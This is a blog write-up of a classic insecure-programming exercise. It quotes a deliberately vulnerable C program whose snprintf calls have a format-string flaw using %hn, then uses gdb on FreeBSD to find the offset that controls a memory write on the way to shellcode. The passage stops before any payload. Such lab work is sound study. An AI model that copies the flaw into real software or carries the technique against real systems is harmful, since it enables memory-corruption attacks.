Gera's Insecure Programming Format String #2
Now that this semester is completed, I can continue going through gera's execises =).
For reference, the program is below:
{% highlight c%}
/* fs2.c *
- specially crafted to feed your brain by gera */
/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
char buf[256];
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}
{% endhighlight %}
I used FreeBSD 8.2-RELEASE as platform to exploit on. This exercise can be exploited on a system with ASLR. The shellcode address would need to be brute forced to get a shell.
> uname -a
FreeBSD 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 02:24:46 UTC 2011 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386
The source shows the program takes two arguments from the command-line (argc[1] and argc[2]) and stores the resulting format string to a buffer (buf). Both of the snprintfs are only passed one argument when four (4) arguments should have be passed. This code will lead to exploitable situation as the %hn will write two bytes onto the stack (or anywhere).
> ./fs2 AA BB
> ./fs2 AAAAAAAAAAAA BBBBBBBBBBBB
Segmentation fault (core dumped)
> gdb fs2 fs2.core
GNU gdb 6.1.1 [FreeBSD]
..snip..
#0 0x2816f329 in open () from /lib/libc.so.7
(gdb) x/i $eip
0x2816f329 : mov %dx,(%eax)
(gdb) x/x $edx
0xe: Cannot access memory at address 0xe
(gdb) x/x $eax
0x41414141: Cannot access memory at address 0x41414141
(gdb) q
The program crashes and drops a core when it tries to dereference 0x41414141 ("AAAA"). The next step is to find the offset to fill eax with an address we want.
> ./fs2 AAAABBBBCCCC DDDDEEEEFFFFF
Segmentation fault (core dumped)
> gdb fs2 fs2.core
GNU gdb 6.1.1 [FreeBSD]
..snip..
#0 0x2816f329 in open () from /lib/libc.so.7
(gdb) x/x $eax
0x43434343: Cannot access memory at address 0x43434343
(gdb) printf "%#x %#x\n", $eax, $edx
0x43434343 0xe
(gdb) x/i $eip
0x2816f329 : mov %dx,(%eax)
(gdb) q
Another way to get the offset can be achieved by analyzing the format string and the stack's behavior. The format string expects the stack layout to be like so:
--------------- <--- Top of Stack / Low Memory Address - char * - "%s" ------------